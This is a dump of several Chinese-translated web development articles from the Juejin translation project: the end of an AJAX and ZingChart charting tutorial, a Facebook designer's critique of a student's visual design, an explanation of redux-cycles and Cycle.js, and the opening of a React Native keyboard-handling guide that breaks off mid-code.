***这里每个步骤都将在我们事件监听器内部的 if 语句中执行。**** ### 解析响应 每个响应都会返回一串数据。我们需要一个 JSON 对象,这样我们就可以遍历这些值。我们可以使用 `JSON.parse()` 方法将响应字符串转换为 JSON 格式。我们可以将它存储在一个名为 `response` 的变量中,以便后期我们可以像这样处理它: ``` var response = JSON.parse(this.responseText); ``` 现在我们有一个存储在变量中的对象数组。你可以通过 `console.log(response);` 来查看完整的数组。 在这个数组中,有一个我们想要使用的特定对象叫做 `results`。这个对象包含 Star Wars 的 `characters` 和关于他们的信息。我们将把这个对象保存在一个变量中,这样我们就可以在接下来的步骤中循环。 我们可以在我们现有的 `response` 变量上使用 JSON 点符号来访问这个对象。我们将把它保存在一个名为 `characters` 的变量中。它看起来像这样: ``` var characters = response.results; ``` ### 创建空数组 接下来我们需要创建一个变量来保存一个空数组,我们将称之为 `characterInfo`。当后期我们遍历对象时,可以将值推送到这个数组中。看看下面: ``` var characterInfo = []; ``` ***我们可以将数组中的数组直接放到 ZingChart 中,并使用x轴和y轴的值来绘制图表。这非常有用。*** ### 遍历响应 由于我们的 `character` 变量将被存储在一个对象数组中,我们可以使用 `forEach` 方法来遍历它。 `forEach` 方法需要一个回调函数,它将传入一个 `character` 参数。character 参数与 for 循环中的 `character[i]` 相同。它代表着它正在循环的对象。我们可以使用 JSON 点符号来访问我们在循环过程中需要的任何对象。 我们将从每个对象中提取两条数据:`name` 和 `height`。这是我们之前的空数组发挥作用的地方。在我们循环的每个对象中,我们可以使用回调函数内的`array.push()` 方法将值推送到我们空的 `characterInfo` 数组的末尾。 我们可以以数组格式插入值,以便我们可以有一个包含 character name 和 height 数组的数组。这些值将作为字符串值返回,这对于 name 属性是很好的。但是,我们可以使用 `parseInt()` 方法将每个高度值从一个字符串转换为一个数字。 我们的代码将如下所示: ``` xhr.addEventListener('load', function() { if (this.status == 200) { var response = JSON.parse(this.responseText); var characters = response.results; var characterData = []; characters.forEach(function(character) { characterData.push([character.name, parseInt(character.height)]); }); }); ``` ## 创建请求 AJAX 请求的最后两个步骤实际上是促使其发生的。首先是 open 方法,打开了我们的请求。这个请求是一个 GET 请求,是 XMLHttpRequest()方法的 HTTP 部分。 GET 请求是实际到达 API 端点并获取数据。我会告诉你它是什么样子,然后我们解析它。 ``` xhr.open('GET', 'https://swapi.co/api/people/'); ``` 使用 `.open`,我们打开这个请求到指定的 URL: `https://swapi.co/api/people/`。这将返回一个包含 Star Wars characters 和一些额外的数据的对象数组。 REST API 通常具有一个可以获取数据的 API URL。如果您感兴趣,请查看 Star Wars API [docs](https://swapi.co/documentation)查看您可以获取的不同数据集。 REST API 几乎可以让你通过操作 URL 来指定你想要的数据。稍后在自己的 demo 中使用 Star Wars API,看看你能得到什么。 ## 发送请求 最后一步可以说是您的 AJAX 请求中最重要的一部分。**如果你不这样做,这个教程将失效**。我们必须在我们的 `xhr` 变量上使用 `.send()` 方法来实际发送请求,像这样: ``` xhr.send(); ``` 现在我们已经有了 AJAX 请求的框架,我们可以使用从 Star Wars REST API 端点返回的响应。 ## 渲染一个图表 渲染图表包括四个步骤: 1. HTML:创建一个唯一 ID 的 `
      `。 2. CSS:给这个 `
      ` 赋值高度和宽度。 3. JS:创建一个图表配置变量。 4. JS:使用 `zingchart.render({});` 方法来呈现图表。 ### HTML 为了渲染一个图表,我们需要一个图表容器。我们可以用 `
      ` 做这个。我们还需要给这个 `
      ` 唯一的 ID: ```
      ``` 我使用编号图表方法,如果我们后期需要参考,在代码中很容易找到。 ### CSS 我们将在我们的 CSS 中使用这个唯一的 ID 来声明一个高度和宽度: ``` #chartOne { height: 200px; width: 200px; } ``` 如果我们不能声明高度和宽度,图表将不会呈现。 ### 图表配置变量 您可以在您的应用程序中为您命名这个演示。 我选择将其命名为 **'chartOneData'**,因为我们可以轻松地将其绑定至 **'chartOne'** ID。 这个变量实际上只有两个重要的方面: 1. 声明一个图表类型(在这个例子中我们使用的是柱形图)。 2. 将值添加到我们的图表。 ***我们所有的图表信息将被放置在我们的事件监听器回调函数中。*** ### 声明一个图表类型 ZingChart 有一个可声明的语法,所以选择一个图表类型就像声明一个键值对一样简单: ``` var chartOneData = { type: 'bar' }; ``` ### 将值添加到图表 向我们的图表添加值是以类似的方式来声明一个图表类型。这一次,我们将使用嵌套键值对来添加键值对。`series` 将采取一个名为值的对象。 在这个值对象中,我们可以将数据传入到数组中。这包含了我们所有的角色信息。它看起来像这样: ``` var chartOneData = { type: 'bar', series: [ { values: characterInfo } ] } ``` ### 渲染图表 渲染我们的图表也非常简单。我们可以使用一个内置的渲染方法,你所要做的就是传入几个键值对,它们是: 1. `id`:这是我们传入我们的 `
      ` 元素的 id。 2. `data`:他将是我们之前声明的图表变量的名称。 3. `height`:这将是 **'100%'** 的值来填充我们的容器。 4. `width`:这也将是 **'100%'** 的值来填补我们的容器。 ``` zingchart.render({ id: 'chartOne', data: chartOneData, height: '100%', width: '100%' }) ``` 现在我们已经完成了,我们应该有一个完整的图表,它已经成功地从 REST API 中提取数据。太好了! ## 完整 demo --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-make-your-not-so-great-visual-design-better.md ================================================ >* 原文链接 : [How To Make Your Not-So-Great Visual Design Better](https://medium.com/facebook-design/how-to-make-your-not-so-great-visual-design-better-67972eee3825#.4e6hpsbkz) * 原文作者 : [Jasmine Friedl](https://medium.com/@jazzy33ca?source=post_header_lockup) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Liz](https://github.com/lizwangying) * 校对者: [Gran](https://github.com/Graning),[Jiegao Zhu](https://github.com/JolsonZhu) # 产品设计怎样做才最优雅 ![](https://cdn-images-1.medium.com/max/2000/1*nN4SgP1q4iEmRfoW9NTMyg.png) Photo by William Iven 图片来自 William Iven 如何才能改进你的产品视觉设计呢? 这个问题困扰了很多人。我在产品设计方向辅导、指导了很多学生,比如在圣弗朗西斯科艺术学院担任导师,在 AIGA Portfolio Day 作为产品复审,在 Facebook 辅导实习生等。 学生的观念与专业产品设计师之间有这样一座桥梁,它由敬畏、激情、好奇心和满腹的疑问组成。 *“我毕业后会何去何从?”* *“设计相关的工作都有什么?”* *“我适合做什么样的工作?”* *“如果我找不到工作怎么办?”* *“如果根本没有职位招聘怎么办?”* *“我能为找工作准备些什么?”* 最近,我们在[ Facebook 举办了一场自我评论](https://medium.com/facebook-design/peek-inside-a-facebook-design-critique-c4833efda26e#.4qt02buac),其中有一位来自康奈尔大学的学生 [Jon Lee](https://medium.com/@jonleenj)。在我们为数不多的互动中,他身上有一些东西我很欣赏。那就是他的自我认知。他了解自己在视觉设计上有哪些地方需要提高。他有如此清晰地自我认知,归功于他从潜在的雇主身上得到的反馈,就像很多即将步入职场的同学一样,好奇作为一个设计师需要什么样的技能。他想知道怎样才能做得更好一点。 成为一个产品设计老司机需要广泛的技能,具备 visual chops 是很重要的,尤其是在 Facebook。令我兴奋的是,Jon 在这方面很好奇,如果他现在在我身边,我会问 Jon 一个曾问过很多同学的问题,并给他提供一个方案,希望能够在 这个项目之外对他有所帮助。 这里有一个 Jon 分享的设计作品概览。从这里开始他才真正地在视觉设计的道路上踏上正轨。 ![](http://ac-Myg6wSTV.clouddn.com/d6cd82b49c70fc153a0f.png) Jon Lee 为应用 Nearspace 设计的概念图。 在 Facebook,我们经常将视觉设计的评判标准分为工艺和执行力。为了能够评估 Jon 这个作品的水平,并且激励他设计出更好的作品,我需要在评价他的作品之前向他提问和调查,因为这样更好地了解了别人的设计意图。 ### 你的层次结构是什么? - 你修改过你的设计风格么?我看到了两个风格(标题的大小写问题),至少三种大小类型、两种颜色、还有居中和左对齐两种类型。 - header(头部)风格是哪一种?按钮的风格是什么? body copy(广告正文)的风格呢? metadata(元数据)呢? ### 你使用的是什么样式? - 按钮的字体有两种大小,两种按钮高度,两个外壳,三种颜色,我还看到了带有 icon(图标)的按钮。 ![](http://ac-Myg6wSTV.clouddn.com/1565099b887dd65adc38.jpeg) - 有两个不同的列表样式。一个显然是关于实时的发现模式(照片和业务名称、类别和星级),另一个看起来像一个线框(最近的发布的)。 - 列表和按钮的设计风格有什么区别?在概要文件页面,卡片、按钮和列表是使用相同的白色背景,灰色轮廓样式。他们应该设计成不同的风格么? ### 这种设计样式和现有的或已经发布的样式哪家强? - 如果选项能够切换,那么他们会自动切换么?取消和应用有必要么? - 点击返回和点击取消是一样的么?把右上角换成X可以么? - 我看到有一个重置按钮但是它没有起到任何过滤的作用。有必要在这种情况下添加这个按钮么?应用按钮能够取代重置按钮么? - 从用户体验角度,需要这个底部的导航条么? - 在同一垂直方向上的这些控件是否平行?他们都是必要的么? ![](http://ac-Myg6wSTV.clouddn.com/01f5de79ae872536f138.jpeg) ### 你的 margin(外边距)和 padding(内边距)的规范是什么? - 我从附近页面和资料页面看到很多细微的外边距;过滤页面更具有明显的外边距。 - 在附近页面的竖直方向的地步导航几乎贴近了屏幕的边缘。 - 为什么不用网格布局? ### 你的 icon(图标)表达出想要呈现的意思么? - 我看到一个表示“座位”的图标有单个座位、三个座位和六个座位的图片聚集在一起。这是一个座位的计数还是一些座位数的大约值?又或者是一系列的座位么?有没有一个更好的方式来设计表达这个含义?这是“团购”有优惠的意思么?有没有另一种方式设计它? - 为什么没有明显的标志表示两个相反的意思?如果不是重要的元素,为什么你要显示出来这种无足轻重的元素?初步结果难道不应该包含所有可用的选项么? - Pie (派,一种食物)在这里是想表达 pie (派)?还是指代甜点?又或是代指所有食物?杯饮料意味着什么?你是假定认为每个餐厅都能够提供饮料吗?有更好的分组吗? ### 你的选择设计风格的一致么? - 我看到在使用下拉过滤功能时,有一些过滤按钮选项的样式略有不同。 - 一些只有 icon (图标) 的按钮,而某些按钮只有文字。 - 一个按钮有角度,然而其他没有。 wifi 图标的线很粗;但是插座的线很细。有些像素化,有的则不是。一些是黑色的,又有一些是灰色的。 ![](http://ac-Myg6wSTV.clouddn.com/2b08ea063e6a0dee2170.jpeg) - 大多数的卡片和按钮拥有同样的样式:角弧度半径,轮廓,填充颜色等风格。他们是不是*过于*一致? ### 屏幕上所有的元素都是必要的么? - 在搜索区域上方有一个分割线,还有每一个可选选项下方也有一个分割线。 - 有一处使用了绿色 - 导航使用了 icon (图标) 和文字,它们有同时存在的必要吗? ### 你怎样选择你的配色方案的? - 你的配色方案是比较简约的暖色调,除了一个亮绿色的按钮。你有怎样的设计原则,在哪些地方应用了? ![](http://ac-Myg6wSTV.clouddn.com/eabacd8b944dffa24c68.jpeg) ### 你的拼写、语法和标点符号正确吗?你的内容有逻辑吗? - “Nearby(附近)” 页面和 “Profile(概况)” 页面底部的导航条经常出现,但是这个 “add(添加)”是什么鬼?添加什么? - “Availability” 这个单词拼错了。 - 这个 “Availability(可用)” 有存在的必要么? - 页面的“阅读量”是怎样计算的?(是读完所有文字还是只是匆匆一瞥算是一次阅读量的累积)你的页面标题是“过滤器”,但是你的头部显示为“距离”,另外这个页面可以过滤剩余可得座位,有无 Wifi ,插座和食物/饮料。但是你能向你的朋友解释清楚这个页面能做什么?这些页面结构合理么?它们的命名正确么? ![](http://ac-Myg6wSTV.clouddn.com/26652ca0f75030a68f5e.jpeg) ### 这个设计可移植性高么? - 如果你是为安卓平台设计的这款桌面,在其他平台你也会做出同样的设计决策么?在不同平台下,你的设计决策会不同么? 如何改进你的产品视觉设计? *解答*以上这些问题只是一个设计作品成功的开始。成为一枚优秀的设计师——成为一枚牛掰的“视觉”设计师——需独具匠心。这意味着你在以一个设计师的角度来考虑和解答每一个问题,而不是别人发现这些问题时木已成舟,那就为时已晚了。 接下来的工作就是“针对性”的回答这些问题,确保你的设计意图是基于坚实的设计原则、研究和对细节的关注,当然啦,比如类似于风格和偏好这种问题,就会非常棘手。因为不是每个设计师的都有这些意识或者是理由充足的主意。这很正常,因为在提高你的设计的道路上,你首要做到的就是接受你的作品现在还并不完美。 Ira Glass 对此有很棒的[观点](https://vimeo.com/85040589): > 没人会向别人吐槽菜鸟——就算有人看出我菜,我也希望他不要嘲讽我——因为我们都是搞创作的...我们从事这行是因为我们有品位。这就像是一个瓶颈期,最初的几年你创作的东西,现在看来你是不是认为他们很一般?对吧?它们并不咋地。它们真的就是一般。但是你在*努力*地做到好,你有信心自己能够做好,但虽然你的作品真的没那么优秀。但是你的*品位*——用来搞创作的装备——还是你作品的修正符,它就是当你在看到你所创作的成果时心中略过的那丝丝缕缕的失望,你懂伐? 如果你有品位,它就能自己告诉你还有多少需要提高的地方,和应该怎样提高你的视觉设计。 **多观察世界上设计作品然后形成自己的见解**什么是好的,什么是不好的。在你的见解中加强基础的设计原则。 **多浏览设计系统的搭建**比如材料设计(material design)和人机界面指南(Human Interface Guidelines)。 **多练手** **多浏览网站、多下载 app **,在 Dribbble (一个有名的设计网站)上浏览优秀的设计作品,切记**不能**复制别人的作品,而是问**为什么**这样设计就好呢?然后去揣摩答案。 **依然是勤动手练习** **向那些有设计见解的人展示你的作品**——就是那些技术不错的老司机设计师们,听取他们对于你的作品的意见,然后思考他们对于你的作品背后的设计意向。然后去找答案。 **不断地自我反思**比如我们刚刚提到的。 现在我可以给 Jon 一些反馈,比如你的“设计风格种类遍地都是”、“你的绿色按钮格外突兀”。我还给他指明了一些解决办法比如“左对齐所有过滤器的类别中的按钮”、“缩小按钮的圆角半径”、“为你的品牌颜色选择一个亮色调”,如果“你”想使你的作品更好,就要不断打磨,细细雕琢。 别人对你作品反馈和指导能够起到同样的作用;进步最快的方法通常是实践出真知,而不是只懂得规范 。 练习才能进步。一次又一次的努力尝试这种执行能力是初学者们第一次进入设计师这个角色,一旦设计师这个角色在你心中落定,它会一步一步引导你进步。 ================================================ FILE: TODO/how-to-make-your-react-app-fully-functional-fully-reactive-and-able-to-handle-all-those-crazy.md ================================================ > * 原文地址:[How to make your React app fully functional, fully reactive, and able to handle all those crazy side effects](https://medium.freecodecamp.com/how-to-make-your-react-app-fully-functional-fully-reactive-and-able-to-handle-all-those-crazy-e5da8e7dac10#.amw15u5zd) * 原文作者:[Luca Matteis](https://medium.freecodecamp.com/@lmatteis) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[ZhangFe ](https://github.com/ZhangFe) * 校对者:[AceLeeWinnie](https://github.com/AceLeeWinnie),[liucaihua9](https://github.com/liucaihua9) # 如何让你的 React 应用完全的函数式,响应式,并且能处理所有令人发狂的副作用 ![](https://cdn-images-1.medium.com/max/2000/1*lD7IVk_sCcOcgVDOJPn7cA.jpeg) [函数响应式编程](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754) (FRP) 是一个在最近获得了无数关注的编程范式,尤其是在 JavaScript 前端领域。它是一个有很多含义的术语,却描述了一个极为简单的想法: > 所有的事物都应该是纯粹的以便于测试和推理 **(函数式)**,并且使用随时变化的值给异步行为建模 **(响应式)**。 React 本身并非完全的函数式,也不是完全的响应式。但是它受到了一些来自 FRP 背后理念的启发。例如 [函数式组件](https://facebook.github.io/react/docs/components-and-props.html) 就是一些依赖他们 props 的纯函数。 并且 [他们响应了 prop 和 state 的变化](https://facebook.github.io/react/docs/react-component.html#updating). (译者注:无状态组件只接收 props ,这里的 state 应该是指父元素的) 但是一谈到**副作用的处理**(side effects),仅作为视图层的 React 就需要一些其他库的帮助了,比如说[Redux](https://github.com/reactjs/redux)。 在这篇文章里我会谈谈 [redux-cycles](https://github.com/cyclejs-community/redux-cycles),它是一个 Redux 中间件,借助 [Cycle.js](https://cycle.js.org/) 框架的优势,帮助你以一种函数式和响应式的方法处理你 React 应用中的副作用和异步代码,这是一个尚未被其他 Redux 副作用模型共享的特征。 ![](https://cdn-images-1.medium.com/max/1000/1*G_eskQOkhm6nv-NDylvbjw.jpeg) ### 什么是副作用? 副作用即是改变了外部世界的行为。你的应用里所有发出 HTTP 请求,写入 localStorage 的操作,或者甚至操作 DOM 都被认为是副作用。 副作用是不好的,他们很难去测试,维护起来很复杂,并且通常你的 bug 都出现在这里。因此你的目标就是最小化或者定位他们。 ![](https://cdn-images-1.medium.com/max/800/1*GENmEdK1Rq2dB6H4uxzVNw.jpeg) > “由于有副作用的存在,一个程序的行为依赖于历史记录,即代码执行的顺序,因为理解一个有效的程序需要考虑到所有可能的历史记录,副作用经常会使一个程序很难理解。” —  [Norman Ramsey](http://stackoverflow.com/users/41661/norman-ramsey) 以下是几种现今用来处理 Redux 中的副作用比较流行的方法: 1. [redux-thunk](https://github.com/gaearon/redux-thunk)  — 将你有副作用的代码放在 action creators 中 2. [redux-saga](https://github.com/redux-saga/redux-saga)  —  使用 saga 声明你的副作用逻辑 3. [redux-observable](https://github.com/redux-observable/redux-observable)  —  使用响应式编程来给副作用建模 然而问题是以上方法中没有一个既是纯函数式的又是响应式的。他们中有的(redux-saga)是纯函数有些(redux-observable)则是响应式的,但是没有一个拥有我们前文介绍的 FRP 所拥有的所有的概念。 [**Redux-cycles**](https://github.com/cyclejs-community/redux-cycles) **既是纯函数又是响应式的** ![](https://cdn-images-1.medium.com/max/800/1*KJuc4SE0zrxXuxBrfOpGjA.png) 首先我们会更详细地解释这些函数式和响应式的概念以及为什么你需要关心这些,然后会详细介绍 redux-cycles 是如何工作的。 --- ### 使用 Cycle.js 以纯函数的方式处理副作用 HTTP 请求大概是最常见的副作用了。下面是一个使用 redux-thunk 发出 HTTP 请求的例子: function fetchUser(user) { return (dispatch, getState) => fetch(`https://api.github.com/users/${user}`) } 这个函数是命令式的。虽然它返回了一个 promise 并且你可以使用其他 promises 来链式调用它,但是 `fetch()` 已经执行了,在这个特定时刻它已经不是一个纯函数了。 这同样适用于 redux-observable: const fetchUserEpic = action$ => action$.ofType(FETCH_USER) .mergeMap(action => ajax.getJSON(`https://api.github.com/users/${action.payload}`) .map(fetchUserFulfilled) ); `ajax.getJSON()` 使得这段代码是命令式的。 **为了保证一个 HTTP 请求是纯粹的,你不应该去想“立刻发送一个 HTTP 请求”而是应该“描述一下我希望 HTTP 请求是什么样的”并且不要担心它何时发出去或者谁调用了它** 这就是你在 [Cycle.js](https://cycle.js.org/) 中编写所有代码的本质。你使用这个框架所做的每件事都是创建你想做某事的描述。这些描述之后会被发送给那些实际关心 HTTP 请求的 [**drivers**](https://cycle.js.org/drivers.html) (通过响应式数据流)。 function main(sources) { const request$ = xs.of({ url: `https://api.github.com/users/foo`, }); return { HTTP: request$ }; } 就像你在上面这个代码片段中看到的,我们并没有调用函数去发出请求。如果你执行这段代码你会发现请求立即就发出了,那么背后究竟发生了什么呢? 神奇之处就在于 drivers。当你的函数返回了一个包含 `HTTP` 键值的对象时,Cycle.js 知道需要处理它从数据流收到的消息,并且执行相应的 HTTP 请求(通过 HTTP driver)。 ![](https://cdn-images-1.medium.com/max/1000/1*2eF9bIE5BQExjIg1navQ-Q.png) **关键的一点是,你虽然没有摆脱副作用,HTTP 请求依然要发出,但是你将它定位在了你的应用代码之外** 你的函数更加容易理解,尤其是更容易测试,因为你只要测试你的函数是否发出了正确的消息,不需要浪费那些无用的 mock 时间。 ### 响应式副作用 在之前的例子里我们提到了响应式。这需要有一种和这些 drivers 沟通“在外部世界做某事”和被告知“外部世界有某事已经发生了”的方式。 [Observables](http://reactivex.io/documentation/observable.html) (aka streams) 是对于这类异步交互的完美抽象。 ![](https://cdn-images-1.medium.com/max/800/1*Y9HjN7iA7k6QQm_l7MaP9w.png) 每当你想“做某事”时,你会向输出流发出你想做什么的描述。在 Cycle.js 里这些输出流被称作 **sinks**。 每当你想“被通知某事”你只要使用一个输入流(被称作**sources**)并且遍历一次流的值就能知道发生了什么。 这形成一种 **反应式** **循环**,相比于一般的命令式代码,你需要一个不同的思维来理解它。 让我们使用这个范例来建模一个HTTP请求/响应生命周期: function main(sources) { const response$ = sources.HTTP .select('foo') .flatten() .map(response => response); const request$ = xs.of({ url: `https://api.github.com/users/foo`, category: 'foo', }); const sinks = { HTTP: request$ }; return sinks; } HTTP driver 知道这个函数返回的 `HTTP` 键值。这是一个包含请求 GitHub 链接的 HTTP 请求流描述。它正在告诉 HTTP driver :“我想要请求这个地址”。 之后这个 dirver 知道要执行请求,并且将返回值作为 sources(sources.HTTP)返回给 main 函数 — 注意 sinks 和 sources 使用相同的键值。 让我们再解释一次:**我们用** **`sources.HTTP`** 来 **“被通知 HTTP 已经返回了”,并且我们返回了`sinks.HTTP` 来“发送 HTTP请求”**。 这里有一个动画来解释这一重要的响应式循环: ![](https://cdn-images-1.medium.com/max/1000/1*RfpxAyyI0h0itIABMZ9TfA.gif) 相比于一般的命令式编程,这似乎是反直觉的:为什么读取响应值的代码在发出请求的代码之前? 这是因为在 FRP 中代码在哪是不重要的。所有你要做的就是发送描述,并且监听变化,代码的顺序并不重要。 这使得代码非常容易重构。 --- ### 介绍 redux-cycles ![](https://cdn-images-1.medium.com/max/800/1*_iikpPfUOR9f04iFGDJQLA.png) 此时你可能会问,所有的这些和我的 React 应用有什么关系? 仅仅通过写一些你想做某事的描述,你已经学习到了使用纯函数的优势,并且学习了用观察者去和外部世界交流的优势。 现在,你将看到如何在你当前的 React 应用里使用这些概念去变成完全的函数式和响应式。 #### 拦截并且调度 Redux 行为 使用 Redux 时你需要 dispatch actions 来告诉你的 reducers 你需要一个新的state。 这是一个同步的流程,意味着一旦你想执行异步行为(为了副作用)你需要使用一些中间件来拦截这些 actions,相应的,你要触发其他的 actions 来执行这个异步副作用。 这正是 [redux-cycles](https://github.com/cyclejs-community/redux-cycles) 所做的。它是一个中间件,拦截了 redux actions 后进入 Cycle.js 的响应式循环,并且允许你使用 drivers 去执行其他副作用。然后它基于你函数里的异步数据流描述 dispatch 一个新的 action。 function main(sources) { const request$ = sources.ACTION .filter(action => action.type === FETCH_USER) .map(action => ({ url: `https://api.github.com/users/${action.payload}`, category: 'users', })); const action$ = sources.HTTP .select('users') .flatten() .map(fetchUserFulfilled); const sinks = { ACTION: action$, HTTP: request$ }; return sinks; } 在上面这个例子里有一个新的 source 和 sink - **`ACTION`**。但是数据通信的模式是一致的。 它使用 `sources.ACTION` 来监听被 Redux 调用的 actions。并且通过返回 `sinks.ACTION` 来dispatch 新的 actions。 具体点说它是触发了标准的 [Flux Actions objects](https://github.com/acdlite/flux-standard-action)。 最酷的事情是你可以结合其他 drivers 发生的事。在之前的例子里 **在 `HTTP` 域里发生的事确实触发了 `ACTION` 域,反之亦然**。 — 注意,与 Redux 的通信完全通过 `ACTION` 的 source 和 sink。Redux-cycle 的 drivers 负责处理实际的 dispatch。 ![](https://cdn-images-1.medium.com/max/1000/1*A30wroaUd6WiLjq5c-fxYw.gif) ### 更复杂的应用程序? 如果只写那些转换数据流的纯函数该如何开发一个复杂的应用呢? 使用[已有的 drivers](https://github.com/cyclejs-community/awesome-cyclejs#drivers)你已经可以做很多事了。或者你可以创建你自己的 drivers — 下面是一个简单的 driver,它在控制台上输出了写入其 sink 的消息。 run(main, { LOG: msg$ => msg$.addListener({ next: msg => console.log(msg) }) }); `run` 是 Cycle.js 的一部分,它执行你的 main 函数(第一个参数)并且传入其他所有的 drivers(第二个参数)。 Redux-cycles 推荐了两个你可以和 Redux 通信的 drivers, `makeActionDriver()` & `makeStateDriver()`: import { createCycleMiddleware } from 'redux-cycles'; const cycleMiddleware = createCycleMiddleware(); const { makeActionDriver, makeStateDriver } = cycleMiddleware; const store = createStore( rootReducer, applyMiddleware(cycleMiddleware) ); run(main, { ACTION: makeActionDriver(), STATE: makeStateDriver() }) `makeStateDriver()` 是一个只读的 driver。这意味着在你的 main 函数里只能读取`sources.STATE`。你不能让它做什么,只能从它读取数据。 每当 Redux 的 state 发生了变化,`sources.STATE` 流就会触发产生一个新的 state 对象。[当你需要基于当前应用的数据写一些特定逻辑时](https://github.com/cyclejs-community/redux-cycles#drivers) 非常有用 ![](https://cdn-images-1.medium.com/max/2000/1*YyiXu9GK7EKVUHQZnZnsKw.png) ### 复杂的异步数据流 ![](https://cdn-images-1.medium.com/max/800/1*7OmEwOnki2v-cR7mESwD7w.gif) 响应式编程的另一个巨大优势就是能够使用运算符将流组成其他流,可以随时将它们当做数据对待:你可以对它们进行 [`map`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`filter`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`甚至`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) [`reduce`](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/gettingstarted/categories.md) 这些操作。 运算符使得显式的数据流图(即操作符之间的依赖逻辑)成为可能。允许你通过各种操作符将数据流可视化,就像上面的动画一样。 Redux-observable 也允许你写复杂的异步流,他们用一个复杂的 WebSocket 例子作为它们的卖点,然而以纯函数的方式编写这些流才是 Cycle.js 真正区别于其他方式的强大之处。 > 由于一切都是纯数据流,我们可以想象到未来的编程将只是将操作符块连接到一起。 ### 使用弹子图(marble diagrams)测试 ![](https://cdn-images-1.medium.com/max/800/1*2uZuH38HrfZwZNgjJB3eNg.png) 最后但也值得关注的是测试。这才是 redux-cycles(和通常所有的 Cycle.js 应用一样)真正闪耀的地方。 因为你的应用代码里都是纯函数,要测试你的主要功能,你只需要将其作为输入流,并将特定流作为输出即可。 使用这个很棒的 [@cycle/time](https://github.com/cyclejs/time) 项目,你甚至可以画一个 [弹子图](http://rxmarbles.com/) 并且以一种可视化的方式去测试你的函数: assertSourcesSinks({ ACTION: { '-a-b-c----|': actionSource }, HTTP: { '---r------|': httpSource }, }, { HTTP: { '---------r|': httpSink }, ACTION: { '---a------|': actionSink }, }, searchUsers, done); [这段代码](https://github.com/cyclejs-community/redux-cycles/blob/master/example/cycle/test/test.js) 执行了 [`searchUsers`](https://github.com/cyclejs-community/redux-cycles/blob/master/example/cycle/index.js#L31) 函数,将特定源作为输入(以第一个参数的方式)。给定的这些 sources 期望函数返回所提供的 sinks(以第二个参数的方式)。如果不是,断言就会失败。 当你需要测试异步行为时,以图形的方式定义流特别有用。 当 `HTTP` 源发出一个 `r` (响应),你会立刻看到 `a`(action)出现在 `ACTION` sink 中 — 他们同时发生。然而,当 `ACTION` source 发出一段 `-a-b-c`,你不要指望此时 `HTTP` sink 会发生什么。 这是因为 `searchUsers` 去抖了他接收到的 actions。它只会在 ACTION source 流停止活动 800 毫秒后发送 HTTP 请求,这是一个自动完成的功能。 测试这种异步行为对于纯函数和响应式函数来说是微不足道的。 ### 结论 在这篇文章里我们介绍了 FRP 的真正力量。我们介绍了 Cycle.js 和它新颖的范式。如果你想学习更多的关于 FRP 的知识,Cycle.js [awesome list](https://github.com/cyclejs-community/awesome-cyclejs) 是一个很重要的资源。 只使用 Cycle.js 本身而不使用 React 或者 Redux 可能有点痛苦, 但是如果你愿意放弃一些来自 React 或 Redux 社区的技术和资源的话还是可以做到的。 另一方面,Redux-cycles 允许你继续使用所有的伟大的 React 的内容并且使用 FRP 和 Cycles.js 使你更加轻松。 也十分感谢 [Gosha Arinich](https://medium.com/@goshakkk) 以及 [Nick Balestra](https://medium.com/@nickbalestra) 和我一起维护这个项目,也谢谢 [Nick Johnstone](https://twitter.com/widdnz) 校对这篇文章。 ================================================ FILE: TODO/how-to-make-your-react-native-app-respond-gracefully-when-the-keyboard-pops-up.md ================================================ > * 原文地址:[How to make your React Native app respond gracefully when the keyboard pops up](https://medium.freecodecamp.com/how-to-make-your-react-native-app-respond-gracefully-when-the-keyboard-pops-up-7442c1535580#.usrv32x37) * 原文作者:[Spencer Carli](https://medium.freecodecamp.com/@spencer_carli) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[rccoder](https://github.com/rccoder) * 校对者:[atuooo](https://github.com/atuooo)、[ZiXYu](https://github.com/ZiXYu) # 如何让你的 React Native 应用在键盘弹出时优雅地响应 ![](https://cdn-images-1.medium.com/max/800/1*YrvCTP6RN8zn7r7W1lJtuQ.gif) 在使用 React Native 应用时,一个常见的问题是当你点击文本输入框时,键盘会弹出并且遮盖住输入框。就像这样: ![](https://cdn-images-1.medium.com/max/800/1*dcFgfha_NfuPIi4YqEnsmQ.gif) 有几种方式可以避免这种情况发生。一些方法比较简单,另一些稍微复杂。一些是可以自定义的,一些是不能自定义的。今天,我将向你展示 3 种不同的方式来避免 React Native 应用中的键盘遮挡问题。 > 文章中所有的代码都托管在 [GitHub](https://github.com/spencercarli/react-native-keyboard-avoidance-examples) 上 ## KeyboardAvoidingView 最简单、最容易安装使用的方法是 [KeyboardAvoidingView](https://facebook.github.io/react-native/docs/keyboardavoidingview.html)。这是一个核心组件,同时也非常简单。 你可以使用这段存在键盘覆盖输入框问题的 [代码](https://gist.github.com/spencercarli/8acb7208090f759b0fc2fda3394796f1),然后更新它,使输入框不再被覆盖。你要做的第一件事是用 `KeyboardAvoidView` 替换 `View`,然后给它加一个 `behavior` 的 prop。查看文档的话你会发现,他可以接收三个不同的值作为参数 —— `height`, `padding`, `position`。我发现 `padding` 的表现是最在我意料之内的,所以我将使用它。 ``` javascript import React from 'react'; import { View, TextInput, Image, KeyboardAvoidingView } from 'react-native'; import styles from './styles'; import logo from './logo.png'; const Demo = () => { return 